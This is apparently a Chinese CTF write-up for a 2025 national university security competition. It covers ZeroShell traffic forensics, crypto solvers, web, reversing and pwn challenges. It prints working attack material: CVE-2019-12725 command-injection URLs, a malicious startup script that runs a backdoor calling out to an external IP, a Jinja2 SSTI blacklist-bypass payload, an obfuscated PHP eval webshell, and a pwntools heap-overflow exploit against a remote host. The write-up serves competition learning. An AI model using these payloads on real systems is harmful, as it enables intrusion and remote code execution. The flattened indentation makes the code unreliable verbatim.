第十八届全国大学生信息安全竞赛(创新实践能力赛)暨第二届“长城杯”铁人三项赛(防护赛)-初赛 WriteUp
威胁检测与网络流量分析
zeroshell_1


zeroshell_2
RCE 命令执行 先在磁盘中搜索所有 flag

接着直接读取 flag

zeroshell_3
通过 python 可以下载 .nginx
文件


接收 python 服务器如下
from flask import Flask, request, redirect, url_for
import os
app = Flask(__name__)
UPLOAD_FOLDER = 'uploads'
# 确保上传文件夹存在
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
@app.route('/')
def index():
return '''
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Upload File</title>
</head>
<body>
<h1>Upload File</h1>
<form method="POST" action="/upload" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
</body>
</html>
'''
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return "No file part"
file = request.files['file']
if file.filename == '':
return "No selected file"
if file:
filepath = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
file.save(filepath)
return f"File uploaded successfully: {file.filename}"
if name == '__main__':
app.run(debug=True, port=5000, host='61.139.2.1')
如下发现外联 ip 202.115.89.103

zeroshell_4
利用 CVE-2019-12725 执行命令可以在 tmp 和 Database 目录下分别发现同样的 .nginx
文件
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27{{urlescape(ls -al /Database)}}%27%0A%27
或
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A{{urlenc(ls -al /Database)}}%0A%27


zeroshell_5
对 .nginx
文件逆向,题目描述中提到的加密密钥,一般这种附件不会使用魔改的自定义或者什么别的算法,直接往 AES,DES,SM4 这些上面猜,这些算法可以通过 findcry 插件找出来:

结果是发现了 AES 的特征

交叉引用回溯逻辑



zeroshell_6
用命令 grep -r ".nginx" /xxx
到处搜素一下,在
/DB/_DB.001/var/register/system/startup/scripts/nat/File
/Database/var/register/system/startup/scripts/nat/File
/var/register/system/startup/scripts/nat/File
都有恶意代码
cp /Database/.nginx /tmp/.nginx
chmod +x /tmp/.nginx
/tmp/.nginx
逐个试一下,最终是 /var/register/system/startup/scripts/nat/File

WinFT_1

flag{miscsecure.com:192.168.116.130:443}
WinFT_2


flag{AES_encryption_algorithm_is_an_excellent_encryption_algorithm}
Crypto
Rasnd
nc 容器获取数据,根据方程利用 GCD 和 z3 求解

from Crypto.Util.number import *
from gmpy2 import *
from z3 import *
n1 = 18710885848306359110518777261063915091618242733845966215060942229751859925373463369555549880448158830805608171476360359263029420112743825908176788799552927115876502791310317752931084452972637033859858771710866363129861481997482382606248987669745777197489570483733499085599339677460144670225904554559436088010151900958465576386244190125599620068143108659433853114312254592146575684417813193159940396523768687012331955111910734444793983519830949658491432245140058278516743992566777318691646303820615073769105456144177522797950086145060692637688333338991771707842445877847452299704780121959713275878118057419579925389303
c1 = 15187626356273932512050638913316915405043851249134394140163127765852130809763384562657171112548494064210968699591424743663020181493240759611830064848502435472653111915661296369629076784430297374113619143638892357130769876936688955719844601285094806087025937435530008159987951215086884694934214952471542088599929768416789963518601245077017607911748530575842344195839101354110123465020268492300246160234909892791037980035931757364567379651871771693685173465050423087140618544990801519577234807710336980936636943090482025972467719392104313169034628529390190583320231457535672936020729773481576324527571379626007852037342
hint1 = 561311497440738621240109363469006213542996851912256139620992228871991002356065346862262228018854189862358178483865486919900189454096975634932165633656113387821176427555456342155551039500447714672206710051183150276060919997518404511321447676577035795889179795714270962479815587715035700894335622125867634850394019430619794537538839164384205965
hint2 = 5463818937226828489554409935465387759336906084527647559514143263452896275578407259171524299784053883440225106829187468483257689451542514338904597053128180910342693621890775133801639581245191367345256275489339709451149763845940835492132510829304489364945526227634036033605144789481473746719491964809990278335255762528025624672950594243955862199944305131079769594955263343202479903131000990207529185176819156593187725816936224420094158824235681834039289739716592925
found = False
for i in range(2**11):
for j in range(2**11):
r1 = (hint1 + 0x114) * i
r2 = (hint2 + 0x514) * j
r3 = gcd(r1 - r2, n1)
if r3 != 1 and isPrime(r3):
p = r3
q = n1 // p
d = invert(65537, (p - 1) * (q - 1))
m1 = powmod(c1, d, n1)
if not found:
print(long_to_bytes(m1))
found = True
break
if found:
break
m1 = long_to_bytes(m1)
n2 = 14113562836469908634221740525731288680358985866600428152721553380489902175740245952350526632948579086437092138095014483394351586144985494896863980672422841223018825494531192250768707466617930574045086394481464177916699159088829355256406484889436715923057284022987771730009828682786886959541315725289925599703551117968755023051851810686332833358131873352732440083148575772186536189151512477183739949120084186760859081565063542922854903782978537439538360876413254840426098809239928396984508055235985141635980921657636095147536834369442389357004140722951296885142915661754686482701646440865117182532171808294906213904929
c2 = 6406013707837782971773994176268809616713169584099538754095765336960596777686290529503082444111994890472030768410355558828927396889920389615106093885780658867524039610922993792805094003048590477482274111260552076272856579720990171379027963865699704420106436459139833446941732609133478680041186571008210878481295205996363347844306796549588616654512617344203737397503744933969928704365019967337497308836659909869508479481010153642420505877511009022029479128567310489845913539231254765207445242538283654439008513745468320845534553077143527260292471262166959091006808744316045080773852531491712002946405853168822282817224
hint2 = 13429387932397987320713163333583059174093931442233993747317974286998796757848012119272897648022893090957666898412518667736303125766733979071645689390505684253125523317456886150378932025893967595952132963781546017849904711600384921112877811145163834743803156937428630808389077692470839976337721391253231605671242055351896725201261745480180157178920736425103158086475073743315810492305441834387293587933647696639256927436134949534792899821461784282935759123160079426678148861632396847002272640274998336158671281172470439026140370571140041241364875679260647747010400148364557536824871389443987466606400468189614569223174
w = invert(hint2, n2)
p, q = Ints('p q')
GG = Solver()
GG.add(514 * p - 114 * q == w)
GG.add(p * q == n2)
if GG.check() == sat:
model = GG.model()
pp = model[p].as_long()
qq = model[q].as_long()
d = inverse(0x10001, (pp - 1) * (qq - 1))
m = pow(c2, d, n2)
m2 = long_to_bytes(int(m))
rr = print(m1+m2)

Web
Safe_Proxy
源码中,所有操作都无法看见回显,只知道成没成功,所以需要执行命令。
SSTI,有黑名单
‘_’*2
可以绕过 ’__’
im’’port
就等于 import
popen
同理
用 set
设置变量,利用 cycler
获取 popen
执行命令
使用 []
代替 .
最终 payload
:
{%set a='_'*2+'globals'+'_'*2%}{%set b='_'*2+'builtins'+'_'*2%}{%set c='_'*2+'im''port'+'_'*2%}{%set d='so'[::-1]%}{{cycler.next[a][b][c](d)['po''pen']('cat /flag>app.py').read()}}
{%set d='so'[::-1]%}
表示将 so
逆序也就得到 os
cycler.next[a][b][c](d)['po''pen']('cat /flag>app.py').read()
等同于
cycler.next[__globals__][__builtins__][](os)[import](os)[](os)[popen](‘cat /flag>app.py’).read()
作用将 /flag
输出至 app.py
,之后再次访问网站即可拿到 flag


Hello_web

纯使用 ../hackme.php
会被重定向至 /index.php?file=..././hackme.php
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>

解混淆,最后一行明显 base64
,所以 $YwzIst
应该就是 base64_decode
echo
一下别的

三个变量清晰,解一下 base64

替换一下
$uWcdaA = "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
eval('?>' . base64_decode(strtr(substr($uWcdaA, 104), substr($uWcdaA, 52, 52), substr($uWcdaA,0,52))));

再替换
eval('?>' . base64_decode(strtr(
"mM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==",
"zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel",
"eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME"
)));

再解码一下

拿到密码
[
可以绕过 _
蚁剑连

网站下无 flag
,跑命令 grep -r "flag" /path
找,用 disable_functions
插件

grep -r "flag" /run\

Re
Dump
题目说了是个编码算法

根据测试发现是单字节的

前面也满足一致性,直接利用 subprocess 进行爆破获取 flag 了
import subprocess
import frida
import sys
import win32api
import win32con
flaglen = 30
filename = r"D:\360MoveData\Users\shangwendada\Desktop\tmp\bin\re.exe"
flag = "flag{"
new_number = 0
outString = "23291E24380E1520370E0520000E37121D0F24010139".lower()
print(outString)
def brute(F):
process = subprocess.Popen([filename, F], stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
universal_newlines=True)
process.stdin.write(F.decode())
output = process.communicate()
return output
while True:
for i in range(30,127):
inputStr = flag + chr(i)
a = brute(inputStr.encode())
if a[0][len(a[0]) - 2] == outString[len(a[0]) - 2] and a[0][len(a[0]) - 1] == outString[len(a[0]) - 1]:
flag += chr(i)
print(inputStr)
break
if len(flag) == len(outString)//2:
break
#flag{MTczMDc4MzQ2Ng==}

ezCsky
国产的交叉编译链,因为没有 mscore 无法正常反编译。
但是因为 elf 文件结构的特性,符号表和函数结构尚存,先看一眼

发现算法不多,就是 xor 和 rc4

下方发现了密文,起初猜测 xor 是在 rc4 里面用来异或的,直接 cyberchef 看:

结果显然不对,但是这个时候我们猜测 flag 头是 flag:
我们直接异或 flag 看看异或了啥

f^l l^a a^g g^{
这不就是前一位异或后一位吗,然后保存下来,哈哈
那么直接写脚本梭哈:
#include<bits/stdc++.h>
using namespace std;
int main() {
unsigned char flag[256] = {0x0a, 0x0d, 0x06, 0x1c, 0x1f, 0x54, 0x56, 0x53, 0x57, 0x51, 0x00, 0x03, 0x1d, 0x14, 0x58, 0x56, 0x03, 0x19, 0x1c, 0x00, 0x54, 0x03, 0x4b, 0x14, 0x58, 0x07, 0x02, 0x49, 0x4c, 0x02, 0x07, 0x01, 0x51, 0x0c, 0x08, 0x00, 0x01, 0x00, 0x03, 0x00, 0x4f, 0x7d,0};
unsigned char d[] = "flag{";
for(int i = 40 ; i >= 0 ; i -- ){
flag[i]^= flag[i+1];
}
puts((char*)flag);
}

Pwn
Anote
结合源码来理解源程序,发现当每次添加一个新的堆时,会对堆进行初始化,而堆的前四个字节写的是一个指向输出函数的地址的指针,并且,在 edit 功能中会把堆的前四个字节作为双重指针进行函数调用。

关键漏洞:

而在 edit 模块中发现,存在一个复制函数,目的是将用户的输入复制到目标的堆地址中,而该函数明显存在堆溢出,因为 n 的大小最大可以为 40,而该堆申请的大小为 0x1c(28),那么可以通过堆溢出来污染下一个堆的前四个字节的地址,并且我们也找到了后门函数的地址,最后还有一个 show 模块会泄露堆地址。



因为我们的函数调用是一个双重指针的调用所以要在堆中写入 backdoor 的地址,然后再把下一个堆的前四个字节污染成指向 backdoor 的堆地址。
创建两个堆,并且通过 show 功能来泄露出堆地址,然后再通过堆溢出来修改下一个堆的前四个字节的地址
payload = p32(0x80489CE)+p32(0)*4+p32(0x21)+p32(gift+8)
最后再 edit 一次第二个 chunk(chunk1),这样就运行了后门函数
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *
import base64
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'\0'))
uu32 = lambda x: u32(x.ljust(4, b'\0'))
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
def pre():
print(p.recv())
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
context(log_level='debug',arch='amd64', os='linux')
#context(log_level='debug',arch='i386', os='linux')
#p = process('./pwn')
p = remote('47.94.95.135',36977)
#elf = ELF('./note')
#libc = ELF('./libc-2.27.so')
#gdb.attach(p, 'b *0x04007A8')
#gdb.attach(p,'b *$rebase(0x19E8)') #'b *$rebase(0x123456)'
#context(arch='amd64', os='linux')
#exp
sla('Choice>>',str(1))
sla('Choice>>',str(1))
sla('Choice>>',str(2))
sla('index:',str(0))
ru('gift:')
gift=int(rc(14),16)
print('gift->',hex(gift))
sla('Choice>>',str(3))
sla('index:',str(0))
sla('len',str(40))
#sys_plt=0x8048760
sla('content:',p32(0x80489CE)+p32(0)*4+p32(0x21)+p32(gift+8))
sla('Choice>>',str(3))
sla('index:',str(1))
sla('len',str(10))
sla('content:',b'aaa')
p.interactive()

flag{699f687a-f020-40be-9324-09782072b0e3}